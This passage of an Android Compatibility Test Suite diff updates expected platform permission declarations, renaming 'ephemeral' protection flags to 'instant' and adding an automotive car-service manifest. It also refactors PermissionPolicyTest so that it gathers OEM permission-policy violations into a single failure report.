<permission android:name="android.permission.ACCESS_UCE_PRESENCE_SERVICE"
android:permissionGroup="android.permission-group.PHONE"
- android:protectionLevel="signatureOrSystem"/>
+ android:protectionLevel="signature|privileged"/>
<!-- @hide Allows an application to Access UCE-OPTIONS.
- <p>Protection level: dangerous
+ <p>Protection level: signature|privileged
-->
<permission android:name="android.permission.ACCESS_UCE_OPTIONS_SERVICE"
android:permissionGroup="android.permission-group.PHONE"
- android:protectionLevel="signatureOrSystem"/>
+ android:protectionLevel="signature|privileged"/>
@@ -993,7 +1000,7 @@
android:permissionGroup="android.permission-group.CAMERA"
android:label="@string/permlab_camera"
android:description="@string/permdesc_camera"
- android:protectionLevel="dangerous|ephemeral" />
+ android:protectionLevel="dangerous|instant" />
<!-- ====================================================================== -->
@@ -1235,7 +1242,7 @@
<permission android:name="android.permission.INTERNET"
android:description="@string/permdesc_createNetworkSockets"
android:label="@string/permlab_createNetworkSockets"
- android:protectionLevel="normal|ephemeral" />
+ android:protectionLevel="normal|instant" />
<!-- Allows applications to access information about networks.
<p>Protection level: normal
@@ -1243,7 +1250,7 @@
<permission android:name="android.permission.ACCESS_NETWORK_STATE"
android:description="@string/permdesc_accessNetworkState"
android:label="@string/permlab_accessNetworkState"
- android:protectionLevel="normal|ephemeral" />
+ android:protectionLevel="normal|instant" />
<!-- Allows applications to access information about Wi-Fi networks.
<p>Protection level: normal
@@ -1321,6 +1328,27 @@
<permission android:name="android.permission.NETWORK_SETTINGS"
android:protectionLevel="signature" />
+ <!-- #SystemApi @hide Allows applications to access information about LoWPAN interfaces.
+ <p>Not for use by third-party applications. -->
+ <permission android:name="android.permission.ACCESS_LOWPAN_STATE"
+ android:protectionLevel="signature|privileged" />
+
+ <!-- #SystemApi @hide Allows applications to change LoWPAN connectivity state.
+ <p>Not for use by third-party applications. -->
+ <permission android:name="android.permission.CHANGE_LOWPAN_STATE"
+ android:protectionLevel="signature|privileged" />
+
+ <!-- #SystemApi @hide Allows applications to read LoWPAN credential.
+ <p>Not for use by third-party applications. -->
+ <permission android:name="android.permission.READ_LOWPAN_CREDENTIAL"
+ android:protectionLevel="signature|privileged" />
+
+ <!-- #SystemApi @hide Allows a service to register or unregister
+ new LoWPAN interfaces.
+ <p>Not for use by third-party applications. -->
+ <permission android:name="android.permission.MANAGE_LOWPAN_INTERFACES"
+ android:protectionLevel="signature|privileged" />
+
<!-- ======================================= -->
<!-- Permissions for short range, peripheral networks -->
<!-- ======================================= -->
@@ -1445,7 +1473,7 @@
<permission android:name="android.permission.VIBRATE"
android:label="@string/permlab_vibrate"
android:description="@string/permdesc_vibrate"
- android:protectionLevel="normal|ephemeral" />
+ android:protectionLevel="normal|instant" />
<!-- Allows using PowerManager WakeLocks to keep processor from sleeping or screen
from dimming.
@@ -1454,7 +1482,7 @@
<permission android:name="android.permission.WAKE_LOCK"
android:label="@string/permlab_wakeLock"
android:description="@string/permdesc_wakeLock"
- android:protectionLevel="normal|ephemeral" />
+ android:protectionLevel="normal|instant" />
<!-- Allows using the device's IR transmitter, if available.
<p>Protection level: normal
@@ -1500,7 +1528,12 @@
<permission android:name="android.permission.HARDWARE_TEST"
android:protectionLevel="signature" />
- <!-- @SystemApi Allows access to FM
+ <!-- @SystemApi Allows access to Broadcast Radio
+ @hide This is not a third-party API (intended for system apps).-->
+ <permission android:name="android.permission.ACCESS_BROADCAST_RADIO"
+ android:protectionLevel="signature|privileged" />
+
+ <!-- @deprecated @SystemApi Allows access to FM
@hide This is not a third-party API (intended for system apps).-->
<permission android:name="android.permission.ACCESS_FM_RADIO"
android:protectionLevel="signature|privileged" />
@@ -1667,6 +1700,11 @@
<permission android:name="android.permission.RECEIVE_STK_COMMANDS"
android:protectionLevel="signature|privileged" />
+ <!-- Allows an application to send EMBMS download intents to apps
+ @hide -->
+ <permission android:name="android.permission.SEND_EMBMS_INTENTS"
+ android:protectionLevel="signature|privileged" />
+
<!-- Must be required by an ImsService to ensure that only the
system can bind to it.
<p>Protection level: signature|privileged
@@ -1676,6 +1714,20 @@
<permission android:name="android.permission.BIND_IMS_SERVICE"
android:protectionLevel="signature|privileged" />
+ <!-- Allows an application to manage embedded subscriptions (those on a eUICC) through
+ EuiccManager APIs.
+ <p>Protection level: signature|privileged|development
+ TODO(b/35851809): Mark this as a SystemApi and remove com. prefix.
+ @hide -->
+ <permission android:name="com.android.permission.WRITE_EMBEDDED_SUBSCRIPTIONS"
+ android:protectionLevel="signature|privileged|development" />
+
+ <!-- Must be required by an EuiccService to ensure that only the system can bind to it.
+ <p>Protection level: signature
+ TODO(b/35851809): Mark this as a SystemApi and remove com. prefix.
+ @hide -->
+ <permission android:name="com.android.permission.BIND_EUICC_SERVICE"
+ android:protectionLevel="signature" />
<!-- ================================== -->
<!-- Permissions for sdcard interaction -->
@@ -1810,6 +1862,10 @@
<permission android:name="android.permission.MANAGE_ACTIVITY_STACKS"
android:protectionLevel="signature|privileged" />
+ <!-- @SystemApi @hide Allows an application to embed other activities -->
+ <permission android:name="android.permission.ACTIVITY_EMBEDDING"
+ android:protectionLevel="signature|privileged" />
+
<!-- Allows an application to start any activity, regardless of permission
protection or exported state.
@hide -->
@@ -1885,6 +1941,11 @@
android:description="@string/permdesc_useDataInBackground"
android:protectionLevel="signature" />
+ <!-- @hide Allows an application to set display offsets for the screen.
+ This permission is not available to third party applications. -->
+ <permission android:name="android.permission.SET_DISPLAY_OFFSET"
+ android:protectionLevel="signature|privileged" />
+
<!-- Allows a companion app to run in the background.
<p>Protection level: normal
-->
@@ -1901,10 +1962,6 @@
android:description="@string/permdesc_useDataInBackground"
android:protectionLevel="normal" />
- <!-- @hide Allows an application to set display offsets for the screen.
- This permission is not available to third party applications. -->
- <permission android:name="android.permission.SET_DISPLAY_OFFSET"
- android:protectionLevel="signature|privileged" />
<!-- ================================== -->
<!-- Permissions affecting the system wallpaper -->
@@ -1927,6 +1984,15 @@
android:description="@string/permdesc_setWallpaperHints"
android:protectionLevel="normal" />
+ <!-- Allow the app to read the system wallpaper image without
+ holding the READ_EXTERNAL_STORAGE permission.
+ <p>Not for use by third-party applications.
+ @hide
+ @SystemApi
+ -->
+ <permission android:name="android.permission.READ_WALLPAPER_INTERNAL"
+ android:protectionLevel="signature|privileged" />
+
<!-- ============================================ -->
<!-- Permissions for changing the system clock -->
<!-- ============================================ -->
@@ -2163,7 +2229,7 @@
<!-- Allows an application to clear the caches of all installed
applications on the device.
- <p>Protection level: system|signature
+ <p>Protection level: signature|privileged
-->
<permission android:name="android.permission.CLEAR_APP_CACHE"
android:protectionLevel="signature|privileged" />
@@ -2199,6 +2265,22 @@
<permission android:name="android.permission.UPDATE_CONFIG"
android:protectionLevel="signature|privileged" />
+ <!-- Allows a time zone rule updater application to request
+ the system installs / uninstalls timezone rules.
+ <p>An application requesting this permission is responsible for
+ verifying the source and integrity of the update before passing
+ it off to the installer components.
+ @hide -->
+ <permission android:name="android.permission.UPDATE_TIME_ZONE_RULES"
+ android:protectionLevel="signature|privileged" />
+
+ <!-- Must be required by a time zone rule updater application,
+ to ensure that only the system can trigger it.
+ @hide -->
+ <permission android:name="android.permission.TRIGGER_TIME_ZONE_RULES_CHECK"
+ android:protectionLevel="signature" />
+ <uses-permission android:name="android.permission.TRIGGER_TIME_ZONE_RULES_CHECK"/>
+
<!-- Allows the system to reset throttling in shortcut manager.
@hide -->
<permission android:name="android.permission.RESET_SHORTCUT_MANAGER_THROTTLING"
@@ -2468,6 +2550,22 @@
<permission android:name="android.permission.BIND_PRINT_RECOMMENDATION_SERVICE"
android:protectionLevel="signature" />
+ <!-- Allows applications to get the installed and enabled print services.
+ @hide
+ @SystemApi
+ <p>Protection level: signature|preinstalled
+ -->
+ <permission android:name="android.permission.READ_PRINT_SERVICES"
+ android:protectionLevel="signature|preinstalled" />
+
+ <!-- Allows applications to get the currently recommended print services for printers.
+ @hide
+ @SystemApi
+ <p>Protection level: signature|preinstalled
+ -->
+ <permission android:name="android.permission.READ_PRINT_SERVICE_RECOMMENDATIONS"
+ android:protectionLevel="signature|preinstalled" />
+
<!-- Must be required by a {@link android.nfc.cardemulation.HostApduService}
or {@link android.nfc.cardemulation.OffHostApduService} to ensure that only
the system can bind to it.
@@ -2508,7 +2606,7 @@
<!-- Must be required by a {@link android.service.wallpaper.WallpaperService},
to ensure that only the system can bind to it.
- <p>Protection level: system|signature
+ <p>Protection level: signature|privileged
-->
<permission android:name="android.permission.BIND_WALLPAPER"
android:protectionLevel="signature|privileged" />
@@ -2545,7 +2643,7 @@
<!-- Must be required by a {@link android.media.tv.TvInputService}
to ensure that only the system can bind to it.
- <p>Protection level: signature
+ <p>Protection level: signature|privileged
-->
<permission android:name="android.permission.BIND_TV_INPUT"
android:protectionLevel="signature|privileged" />
@@ -2567,12 +2665,24 @@
<permission android:name="android.permission.TV_VIRTUAL_REMOTE_CONTROLLER"
android:protectionLevel="signature|privileged" />
+ <!-- Allows an application to change HDMI CEC active source.
+ <p>Not for use by third-party applications.
+ @hide -->
+ <permission android:name="android.permission.CHANGE_HDMI_CEC_ACTIVE_SOURCE"
+ android:protectionLevel="signature|privileged" />
+
<!-- @SystemApi Allows an application to modify parental controls
<p>Not for use by third-party applications.
@hide -->
<permission android:name="android.permission.MODIFY_PARENTAL_CONTROLS"
android:protectionLevel="signature|privileged" />
+ <!-- @SystemApi Allows an application to read TvContentRatingSystemInfo
+ <p>Not for use by third-party applications.
+ @hide -->
+ <permission android:name="android.permission.READ_CONTENT_RATING_SYSTEMS"
+ android:protectionLevel="signature|privileged" />
+
<!-- @SystemApi Allows an application to notify TV inputs by sending broadcasts.
<p>Protection level: signature|privileged
<p>Not for use by third-party applications.
@@ -2742,6 +2852,13 @@
<permission android:name="android.permission.ACCESS_INPUT_FLINGER"
android:protectionLevel="signature" />
+ <!-- Allows an application to disable/enable input devices.
+ Could be used to prevent unwanted touch events
+ on a touchscreen, for example during swimming or rain.
+ @hide -->
+ <permission android:name="android.permission.DISABLE_INPUT_DEVICE"
+ android:protectionLevel="signature" />
+
<!-- Allows an application to configure and connect to Wifi displays
@hide -->
<permission android:name="android.permission.CONFIGURE_WIFI_DISPLAY"
@@ -3054,12 +3171,14 @@
<permission android:name="android.permission.MANAGE_NETWORK_POLICY"
android:protectionLevel="signature" />
- <!-- @SystemApi Allows an application to account its network traffic against other UIDs. Used
- by system services like download manager and media server. Not for use by
- third party apps. @hide -->
+ <!-- @SystemApi @hide @deprecated use UPDATE_DEVICE_STATS instead -->
<permission android:name="android.permission.MODIFY_NETWORK_ACCOUNTING"
android:protectionLevel="signature|privileged" />
+ <!-- @SystemApi @hide Allows an application to manage carrier subscription plans. -->
+ <permission android:name="android.permission.MANAGE_SUBSCRIPTION_PLANS"
+ android:protectionLevel="signature|privileged" />
+
<!-- C2DM permission.
@hide Used internally.
-->
@@ -3133,6 +3252,11 @@
<permission android:name="android.permission.MANAGE_NOTIFICATIONS"
android:protectionLevel="signature" />
+ <!-- Allows notifications to be colorized
+ <p>Not for use by third-party applications. @hide -->
+ <permission android:name="android.permission.USE_COLORIZED_NOTIFICATIONS"
+ android:protectionLevel="signature|setup" />
+
<!-- Allows access to keyguard secure storage. Only allowed for system processes.
@hide -->
<permission android:name="android.permission.ACCESS_KEYGUARD_SECURE_STORAGE"
@@ -3283,7 +3407,7 @@
<!-- The system process that is allowed to bind to services in carrier apps will
have this permission. Carrier apps should use this permission to protect
their services that only the system is allowed to bind to.
- <p>Protection level: system|signature
+ <p>Protection level: signature|privileged
-->
<permission android:name="android.permission.BIND_CARRIER_SERVICES"
android:label="@string/permlab_bindCarrierServices"
@@ -3388,6 +3512,11 @@
<permission android:name="android.permission.ACCESS_VR_MANAGER"
android:protectionLevel="signature" />
+ <!-- Required to access VR-Mode state and state change events via {android.app.VrStateCallback}
+ @hide -->
+ <permission android:name="android.permission.ACCESS_VR_STATE"
+ android:protectionLevel="signature|preinstalled" />
+
<!-- Allows an application to whitelist tasks during lock task mode
@hide <p>Not for use by third-party applications.</p> -->
<permission android:name="android.permission.UPDATE_LOCK_TASK_PACKAGES"
@@ -3417,7 +3546,7 @@
<!-- Allows an instant app to create foreground services. -->
<permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE"
- android:protectionLevel="signature|development|ephemeral|appop" />
+ android:protectionLevel="signature|development|instant|appop" />
<application android:process="system"
android:persistent="true"
@@ -3753,6 +3882,11 @@
<service android:name="com.android.server.PreloadsFileCacheExpirationJobService"
android:permission="android.permission.BIND_JOB_SERVICE" >
</service>
+
+ <service android:name="com.android.server.camera.CameraStatsJobService"
+ android:permission="android.permission.BIND_JOB_SERVICE" >
+ </service>
+
</application>
</manifest>
diff --git a/tests/tests/permission2/res/raw/automotive_android_manifest.xml b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
new file mode 100644
index 0000000..4a68183
--- /dev/null
+++ b/tests/tests/permission2/res/raw/automotive_android_manifest.xml
@@ -0,0 +1,203 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+ package="com.android.car"
+ coreApp="true"
+ android:sharedUserId="android.uid.system">
+
+ <original-package android:name="com.android.car" />
+
+ <permission-group
+ android:name="android.car.permission-group.CAR_INFORMATION"
+ android:icon="@drawable/car_ic_mode"
+ android:description="@string/car_permission_desc"
+ android:label="@string/car_permission_label" />
+ <permission
+ android:name="android.car.permission.CAR_CABIN"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_cabin"
+ android:description="@string/car_permission_desc_cabin" />
+ <permission
+ android:name="android.car.permission.CAR_CAMERA"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_camera"
+ android:description="@string/car_permission_desc_camera" />
+ <permission
+ android:name="android.car.permission.CAR_FUEL"
+ android:permissionGroup="android.car.permission-group.CAR_INFORMATION"
+ android:protectionLevel="dangerous"
+ android:label="@string/car_permission_label_fuel"
+ android:description="@string/car_permission_desc_fuel" />
+ <permission
+ android:name="android.car.permission.CAR_HVAC"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_hvac"
+ android:description="@string/car_permission_desc_hvac" />
+ <permission
+ android:name="android.car.permission.CAR_MILEAGE"
+ android:permissionGroup="android.car.permission-group.CAR_INFORMATION"
+ android:protectionLevel="dangerous"
+ android:label="@string/car_permission_label_mileage"
+ android:description="@string/car_permission_desc_mileage" />
+ <permission
+ android:name="android.car.permission.CAR_SPEED"
+ android:permissionGroup="android.permission-group.LOCATION"
+ android:protectionLevel="dangerous"
+ android:label="@string/car_permission_label_speed"
+ android:description="@string/car_permission_desc_speed" />
+ <permission
+ android:name="android.car.permission.VEHICLE_DYNAMICS_STATE"
+ android:permissionGroup="android.car.permission-group.CAR_INFORMATION"
+ android:protectionLevel="dangerous"
+ android:label="@string/car_permission_label_vehicle_dynamics_state"
+ android:description="@string/car_permission_desc_vehicle_dynamics_state" />
+ <permission
+ android:name="android.car.permission.CAR_VENDOR_EXTENSION"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_vendor_extension"
+ android:description="@string/car_permission_desc_vendor_extension" />
+ <permission
+ android:name="android.car.permission.CAR_RADIO"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_radio"
+ android:description="@string/car_permission_desc_radio" />
+ <permission
+ android:name="android.car.permission.CAR_PROJECTION"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_projection"
+ android:description="@string/car_permission_desc_projection" />
+ <permission
+ android:name="android.car.permission.CAR_MOCK_VEHICLE_HAL"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_mock_vehicle_hal"
+ android:description="@string/car_permission_desc_mock_vehicle_hal" />
+ <permission
+ android:name="android.car.permission.CAR_NAVIGATION_MANAGER"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_car_navigation_manager"
+ android:description="@string/car_permission_desc_car_navigation_manager" />
+ <permission
+ android:name="android.car.permission.DIAGNOSTIC_READ_ALL"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_diag_read"
+ android:description="@string/car_permission_desc_diag_read" />
+ <permission
+ android:name="android.car.permission.DIAGNOSTIC_CLEAR"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_diag_clear"
+ android:description="@string/car_permission_desc_diag_clear" />
+ <permission
+ android:name="android.car.permission.VMS_PUBLISHER"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_vms_publisher"
+ android:description="@string/car_permission_desc_vms_publisher" />
+ <permission
+ android:name="android.car.permission.VMS_SUBSCRIBER"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_vms_subscriber"
+ android:description="@string/car_permission_desc_vms_subscriber" />
+
+ <!-- may replace this with system permission if proper one is defined. -->
+ <permission
+ android:name="android.car.permission.CONTROL_APP_BLOCKING"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_control_app_blocking"
+ android:description="@string/car_permission_desc_control_app_blocking" />
+
+ <permission
+ android:name="android.car.permission.CAR_CONTROL_AUDIO_VOLUME"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_audio_volume"
+ android:description="@string/car_permission_desc_audio_volume" />
+
+ <permission
+ android:name="android.car.permission.CAR_CONTROL_AUDIO_SETTINGS"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_audio_settings"
+ android:description="@string/car_permission_desc_audio_settings" />
+
+ <permission
+ android:name="android.car.permission.BIND_INSTRUMENT_CLUSTER_RENDERER_SERVICE"
+ android:protectionLevel="signature"
+ android:label="@string/car_permission_label_bind_instrument_cluster_rendering"
+ android:description="@string/car_permission_desc_bind_instrument_cluster_rendering"/>
+
+ <permission
+ android:name="android.car.permission.BIND_CAR_INPUT_SERVICE"
+ android:protectionLevel="signature"
+ android:label="@string/car_permission_label_bind_input_service"
+ android:description="@string/car_permission_desc_bind_input_service"/>
+
+ <permission
+ android:name="android.car.permission.CAR_DISPLAY_IN_CLUSTER"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_car_display_in_cluster"
+ android:description="@string/car_permission_desc_car_display_in_cluster" />
+
+ <permission android:name="android.car.permission.CAR_INSTRUMENT_CLUSTER_CONTROL"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_car_cluster_control"
+ android:description="@string/car_permission_desc_car_cluster_control" />
+
+ <permission android:name="android.car.permission.STORAGE_MONITORING"
+ android:protectionLevel="system|signature"
+ android:label="@string/car_permission_label_storage_monitoring"
+ android:description="@string/car_permission_desc_storage_monitoring" />
+
+ <uses-permission android:name="android.permission.CALL_PHONE" />
+ <uses-permission android:name="android.permission.DEVICE_POWER" />
+ <uses-permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS" />
+ <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS_FULL" />
+ <uses-permission android:name="android.permission.MANAGE_ACTIVITY_STACKS" />
+ <uses-permission android:name="android.permission.MODIFY_AUDIO_ROUTING" />
+ <uses-permission android:name="android.permission.MODIFY_DAY_NIGHT_MODE" />
+ <uses-permission android:name="android.permission.MODIFY_PHONE_STATE" />
+ <uses-permission android:name="android.permission.READ_CALL_LOG" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+ <uses-permission android:name="android.permission.REAL_GET_TASKS" />
+ <uses-permission android:name="android.permission.REBOOT" />
+ <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
+ <uses-permission android:name="android.permission.REMOVE_TASKS" />
+ <uses-permission android:name="android.permission.WRITE_SETTINGS" />
+ <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
+ <uses-permission android:name="android.permission.BLUETOOTH" />
+ <uses-permission android:name="android.permission.MANAGE_USERS" />
+
+ <application android:label="Car service"
+ android:directBootAware="true"
+ android:allowBackup="false"
+ android:persistent="true">
+
+
+ <uses-library android:name="android.test.runner" />
+ <service android:name=".CarService"
+ android:singleUser="true">
+ <intent-filter>
+ <action android:name="android.car.ICar" />
+ </intent-filter>
+ </service>
+ <service android:name=".PerUserCarService" android:exported="false" />
+ <activity android:name="com.android.car.pm.ActivityBlockingActivity"
+ android:excludeFromRecents="true"
+ android:exported="false">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
index 19c4b02..1852e99 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java
@@ -16,19 +16,26 @@
package android.permission2.cts;
+import static android.os.Build.VERSION.SECURITY_PATCH;
+
+import android.content.Context;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
import android.content.pm.PermissionGroupInfo;
import android.content.pm.PermissionInfo;
import android.test.AndroidTestCase;
+import android.text.TextUtils;
import android.util.ArrayMap;
import android.util.ArraySet;
import android.util.Log;
import android.util.Xml;
+
+import com.android.compatibility.common.util.CddTest;
+
import org.xmlpull.v1.XmlPullParser;
import java.io.InputStream;
-import java.lang.String;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
@@ -37,8 +44,6 @@
import java.util.Map;
import java.util.Set;
-import static android.os.Build.VERSION.SECURITY_PATCH;
-
/**
* Tests for permission policy on the platform.
*/
@@ -53,19 +58,20 @@
private static final String PLATFORM_ROOT_NAMESPACE = "android.";
+ private static final String AUTOMOTIVE_SERVICE_PACKAGE_NAME = "com.android.car";
+
private static final String TAG_PERMISSION = "permission";
private static final String ATTR_NAME = "name";
private static final String ATTR_PERMISSION_GROUP = "permissionGroup";
private static final String ATTR_PROTECTION_LEVEL = "protectionLevel";
+ @CddTest(requirement="9.1/C-0-1")
public void testPlatformPermissionPolicyUnaltered() throws Exception {
- PackageInfo platformPackage = getContext().getPackageManager()
- .getPackageInfo(PLATFORM_PACKAGE_NAME, PackageManager.GET_PERMISSIONS);
- Map<String, PermissionInfo> declaredPermissionsMap = new ArrayMap<>();
- for (PermissionInfo declaredPermission : platformPackage.permissions) {
- declaredPermissionsMap.put(declaredPermission.name, declaredPermission);
- }
+ Map<String, PermissionInfo> declaredPermissionsMap =
+ getPermissionsForPackage(getContext(), PLATFORM_PACKAGE_NAME);
+
+ List<String> offendingList = new ArrayList<>();
List<PermissionGroupInfo> declaredGroups = getContext().getPackageManager()
.getAllPermissionGroups(0);
@@ -74,9 +80,16 @@
declaredGroupsSet.add(declaredGroup.name);
}
- Set<String> expectedPermissionGroups = new ArraySet<String>();
+ Set<String> expectedPermissionGroups = new ArraySet<>();
+ List<PermissionInfo> expectedPermissions = loadExpectedPermissions(R.raw.android_manifest);
- for (PermissionInfo expectedPermission : loadExpectedPermissions()) {
+ if (getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+ expectedPermissions.addAll(loadExpectedPermissions(R.raw.automotive_android_manifest));
+ declaredPermissionsMap.putAll(
+ getPermissionsForPackage(getContext(), AUTOMOTIVE_SERVICE_PACKAGE_NAME));
+ }
+
+ for (PermissionInfo expectedPermission : expectedPermissions) {
String expectedPermissionName = expectedPermission.name;
if (shouldSkipPermission(expectedPermissionName)) {
continue;
@@ -84,8 +97,10 @@
// OEMs cannot remove permissions
PermissionInfo declaredPermission = declaredPermissionsMap.get(expectedPermissionName);
- assertNotNull("Permission " + expectedPermissionName
- + " must be declared", declaredPermission);
+ if (declaredPermission == null) {
+ offendingList.add("Permission " + expectedPermissionName + " must be declared");
+ continue;
+ }
// We want to end up with OEM defined permissions and groups to check their namespace
declaredPermissionsMap.remove(expectedPermissionName);
@@ -97,62 +112,84 @@
& PermissionInfo.PROTECTION_MASK_BASE;
final int declaredProtection = declaredPermission.protectionLevel
& PermissionInfo.PROTECTION_MASK_BASE;
- assertEquals("Permission " + expectedPermissionName + " invalid protection level",
- expectedProtection, declaredProtection);
+ if (expectedProtection != declaredProtection) {
+ offendingList.add(
+ String.format(
+ "Permission %s invalid protection level %x, expected %x",
+ expectedPermissionName, declaredProtection, expectedProtection));
+ }
// OEMs cannot change permission protection flags
final int expectedProtectionFlags = expectedPermission.protectionLevel
& PermissionInfo.PROTECTION_MASK_FLAGS;
- int declaredProtectionFlags = declaredPermission.protectionLevel
+ final int declaredProtectionFlags = declaredPermission.protectionLevel
& PermissionInfo.PROTECTION_MASK_FLAGS;
- // Device makers are allowed to backport the framework fix to oreo
- // https://android-review.googlesource.com/c/platform/frameworks/base/+/653701
- if (expectedPermissionName.equals("android.permission.RECORD_AUDIO")
- && declaredProtectionFlags == 0) {
- declaredProtectionFlags = PermissionInfo.PROTECTION_FLAG_EPHEMERAL;
+ if (expectedProtectionFlags != declaredProtectionFlags) {
+ offendingList.add(
+ String.format(
+ "Permission %s invalid enforced protection %x, expected %x",
+ expectedPermissionName,
+ declaredProtectionFlags,
+ expectedProtectionFlags));
}
- assertEquals("Permission " + expectedPermissionName + " invalid enforced protection"
- + " level flags", expectedProtectionFlags, declaredProtectionFlags);
// OEMs cannot change permission grouping
if ((declaredPermission.protectionLevel & PermissionInfo.PROTECTION_DANGEROUS) != 0) {
- assertEquals("Permission " + expectedPermissionName + " not in correct group",
- expectedPermission.group, declaredPermission.group);
- assertTrue("Permission group " + expectedPermission.group + "must be defined",
- declaredGroupsSet.contains(declaredPermission.group));
+ if (!expectedPermission.group.equals(declaredPermission.group)) {
+ offendingList.add(
+ "Permission " + expectedPermissionName + " not in correct group");
+ }
+
+ if (!declaredGroupsSet.contains(declaredPermission.group)) {
+ offendingList.add(
+ "Permission group " + expectedPermission.group + " must be defined");
+ }
}
}
// OEMs cannot define permissions in the platform namespace
for (String permission : declaredPermissionsMap.keySet()) {
- assertFalse("Cannot define permission in android namespace:" + permission,
- permission.startsWith(PLATFORM_ROOT_NAMESPACE));
+ if (permission.startsWith(PLATFORM_ROOT_NAMESPACE)) {
+ offendingList.add("Cannot define permission in android namespace:" + permission);
+ }
}
// OEMs cannot define groups in the platform namespace
for (PermissionGroupInfo declaredGroup : declaredGroups) {
if (!expectedPermissionGroups.contains(declaredGroup.name)) {
- assertFalse("Cannot define group " + declaredGroup.name + " in android namespace",
- declaredGroup.name != null
- && declaredGroup.packageName.equals(PLATFORM_PACKAGE_NAME)
- && declaredGroup.name.startsWith(PLATFORM_ROOT_NAMESPACE));
+ if (declaredGroup.name != null) {
+ if (declaredGroup.packageName.equals(PLATFORM_PACKAGE_NAME)
+ && declaredGroup.name.startsWith(PLATFORM_ROOT_NAMESPACE)) {
+ offendingList.add(
+ "Cannot define group "
+ + declaredGroup.name
+ + ", package "
+ + declaredGroup.packageName
+ + " in android namespace");
+ }
+ }
}
}
// OEMs cannot define new ephemeral permissions
for (String permission : declaredPermissionsMap.keySet()) {
PermissionInfo info = declaredPermissionsMap.get(permission);
- assertFalse("Cannot define new ephemeral permission " + permission,
- (info.protectionLevel & PermissionInfo.PROTECTION_FLAG_EPHEMERAL) != 0);
+ if ((info.protectionLevel & PermissionInfo.PROTECTION_FLAG_INSTANT) != 0) {
+ offendingList.add("Cannot define new instant permission " + permission);
+ }
}
+
+ // Fail on any offending item
+ String errMsg =
+ String.format(
+ "Platform Permission Policy Unaltered:\n%s",
+ TextUtils.join("\n", offendingList));
+ assertTrue(errMsg, offendingList.isEmpty());
}
- private List<PermissionInfo> loadExpectedPermissions() throws Exception {
+ private List<PermissionInfo> loadExpectedPermissions(int resourceId) throws Exception {
List<PermissionInfo> permissions = new ArrayList<>();
- try (
- InputStream in = getContext().getResources()
- .openRawResource(android.permission2.cts.R.raw.android_manifest)
- ) {
+ try (InputStream in = getContext().getResources().openRawResource(resourceId)) {
XmlPullParser parser = Xml.newPullParser();
parser.setInput(in, null);
@@ -223,8 +260,8 @@
case "setup": {
protectionLevel |= PermissionInfo.PROTECTION_FLAG_SETUP;
} break;
- case "ephemeral": {
- protectionLevel |= PermissionInfo.PROTECTION_FLAG_EPHEMERAL;
+ case "instant": {
+ protectionLevel |= PermissionInfo.PROTECTION_FLAG_INSTANT;
} break;
case "runtime": {
protectionLevel |= PermissionInfo.PROTECTION_FLAG_RUNTIME_ONLY;
@@ -234,6 +271,18 @@
return protectionLevel;
}
+ private static Map<String, PermissionInfo> getPermissionsForPackage(Context context, String pkg)
+ throws NameNotFoundException {
+ PackageInfo packageInfo = context.getPackageManager()
+ .getPackageInfo(pkg, PackageManager.GET_PERMISSIONS);
+ Map<String, PermissionInfo> declaredPermissionsMap = new ArrayMap<>();
+
+ for (PermissionInfo declaredPermission : packageInfo.permissions) {
+ declaredPermissionsMap.put(declaredPermission.name, declaredPermission);
+ }
+ return declaredPermissionsMap;
+ }
+
private static Date parseDate(String date) {
Date patchDate = new Date();
try {
diff --git a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
index a156dd7..44436e9 100644
--- a/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
+++ b/tests/tests/permission2/src/android/permission2/cts/PrivappPermissionsTest.java
@@ -17,6 +17,7 @@
